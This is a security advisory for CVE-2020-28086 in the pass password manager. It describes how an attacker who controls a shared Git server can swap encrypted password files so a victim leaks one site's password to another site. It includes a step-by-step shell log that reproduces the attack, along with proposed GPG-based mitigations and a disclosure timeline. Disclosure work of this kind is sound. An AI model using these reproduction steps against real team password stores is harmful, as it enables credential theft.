CVE-2020-28086 information leakage through third party service in pass
pass
is a password manager that encrypts your or your
team’s passwords with GPG and optionally stores them in a Git repository.
Each password is encrypted in its own file, often named after the service and username.
For example the password for the user richard
on the service Spotify might be named
spotify/richard.gpg
.
Trust Boundaries
It’s possible to configure your usage of pass
in many ways, but if you are using it in a team then
this is a common setup:
Each member has a local machine with a GPG configuration that trusts all other members of the team.
The password store is in Git, and there is a central server to which all team members push and pull.
Here we have three zones:
- Your own machine
- The central server
- The other team members
Any operator in one of the zones shouldn’t be able to cross a zone barrier and gain information or resources from another zone.
The Attack
If an attacker controls the following:
- The central Git server or one of the other members’ machines
- One of the services that have a password already in the password store
Then they can do the following:
Rename one of the password files in the Git repository to the password file of the controlled service.
pass
doesn’t correctly verify that the content of file matches the filename, so a user
might be tricked to decrypting the wrong password and send that to a service that the
attacker controls.
Example
Given this setup:
- A user Bob with a local installation of
pass
- A git server where the passwords are stored
- One password to
bob@server1.example.com
- One password to
bob@server2.example.com
- An attacker called Mallory
If Mallory takes control over the central Git server and server2.example.com
then he could
rename the file named bob@server1.example.com.gpg
to bob@server2.example.com
and commit it.
The next time that Bob then does a git pull and accesses server2.example.com
his password to
server1.example.com
will be exposed.
Possible Mitigations
GPG supports storing the filename in the encryption packet. This can be set with the
--set-filename
flag when storing a password and needs to be verified by the pass
software before
decryption happens.
But the filename field in GPG have a couple of problems. It’s limited to 255 bytes and the specification doesn’t specify what encoding that should be used. This might make it vulnerable to further attacks due to encoding confusion.
Another solution would be to use a signature notation
packet in GPG. It has a length of up to 64 KB. It can also be set on the gpg
command line:
echo 1 |
gpg -se --sig-notation \!filename@pass=/path/to/file.gpg -r alexander.kjall@gmail.com |
gpg -d --verify-options show-notations --known-notation \!filename@pass
Patches
A crude attempt at writing a patch for this vulnerability is in these two patches, adding signature and verify signature.
The patches tries to mitigate the vulnerability by applying a signature notation, but they don’t include any migration strategy for existing password stores.
Reproduction Steps
Here is a log of the steps to reproduce the vulnerability:
capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass init 0x1D108E6C07CBC406
Password store initialized for 0x1D108E6C07CBC406
capitol@tool:/tmp$ cd store1/
capitol@tool:/tmp/store1$ git init
Initialized empty Git repository in /tmp/store1/.git/
capitol@tool:/tmp/store1$ cd ..
capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass generate bob@server1.example.com
[master (root-commit) 208e574] Add generated password for bob@server1.example.com.
1 file changed, 1 insertion(+)
create mode 100644 bob@server1.example.com.gpg
The generated password for bob@server1.example.com is:
7A\ZOg(|`L.G0{Dce^a~SPiC~
capitol@tool:/tmp$ PASSWORD_STORE_DIR=/tmp/store1 pass generate bob@server2.example.com
[master 4e43e37] Add generated password for bob@server2.example.com.
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 bob@server2.example.com.gpg
The generated password for bob@server2.example.com is:
"}zC}4d[wD%N$<7D@WO@2QA-f
capitol@tool:/tmp$ cd store1/
capitol@tool:/tmp/store1$ git add .gpg-id
capitol@tool:/tmp/store1$ git commit -m ".gpg-id"
[master 29e4c37] .gpg-id
1 file changed, 1 insertion(+)
create mode 100644 .gpg-id
capitol@tool:/tmp/store1$ cd /tmp/server/
capitol@tool:/tmp/server$ git init --bare
Initialized empty Git repository in /tmp/server/
capitol@tool:/tmp/server$ cd /tmp/store1/
capitol@tool:/tmp/store1$ git push --set-upstream /tmp/server/ master
Enumerating objects: 9, done.
Counting objects: 100% (9/9), done.
Delta compression using up to 4 threads
Compressing objects: 100% (8/8), done.
Writing objects: 100% (9/9), 1.56 KiB | 798.00 KiB/s, done.
Total 9 (delta 2), reused 0 (delta 0)
To /tmp/server/
* [new branch] master -> master
Branch 'master' set up to track remote branch 'master' from '/tmp/server/'.
capitol@tool:/tmp/store1$ cd ..
capitol@tool:/tmp$ git clone /tmp/server/ store2
Cloning into 'store2'...
done.
capitol@tool:/tmp$ cd store2/
capitol@tool:/tmp/store2$ cp bob@server1.example.com.gpg bob@server2.example.com.gpg
capitol@tool:/tmp/store2$ git add .
capitol@tool:/tmp/store2$ git commit -m "this is the attack"
[master d239dd5] this is the attack
1 file changed, 0 insertions(+), 0 deletions(-)
capitol@tool:/tmp/store2$ git push
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 4 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (2/2), 406 bytes | 406.00 KiB/s, done.
Total 2 (delta 1), reused 0 (delta 0)
To /tmp/server/
29e4c37..d239dd5 master -> master
capitol@tool:/tmp/store2$ cd /tmp/store1/
capitol@tool:/tmp/store1$ git pull
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 2 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (2/2), 386 bytes | 386.00 KiB/s, done.
From /tmp/server
* branch master -> FETCH_HEAD
Updating 29e4c37..d239dd5
Fast-forward
bob@server2.example.com.gpg | Bin 173 -> 173 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
capitol@tool:/tmp/store1$ PASSWORD_STORE_DIR=/tmp/store1 pass show bob@server2.example.com
7A\ZOg(|`L.G0{Dce^a~SPiC~
The password that is shown on the last line is the password associated with bob@server1.example.com
.
Timeline
- 2020-10-22 Email sent to main developer of pass
- 2020-10-24 CVE requested
- 2020-10-24 Email sent to main developer of QtPass
- 2020-10-24 Email sent to main developer of gopass, the attack is outside of
gopass
stated security policy. - 2020-10-24 Email sent to main developer of upass, upass calls out to pass in a subshell and is therefore not directly affected.
- 2020-10-24 Email sent to main developer of pass-winmenu
- 2020-11-13 Email with first draft of a patch sent
- 2020-12-07 CVE number assigned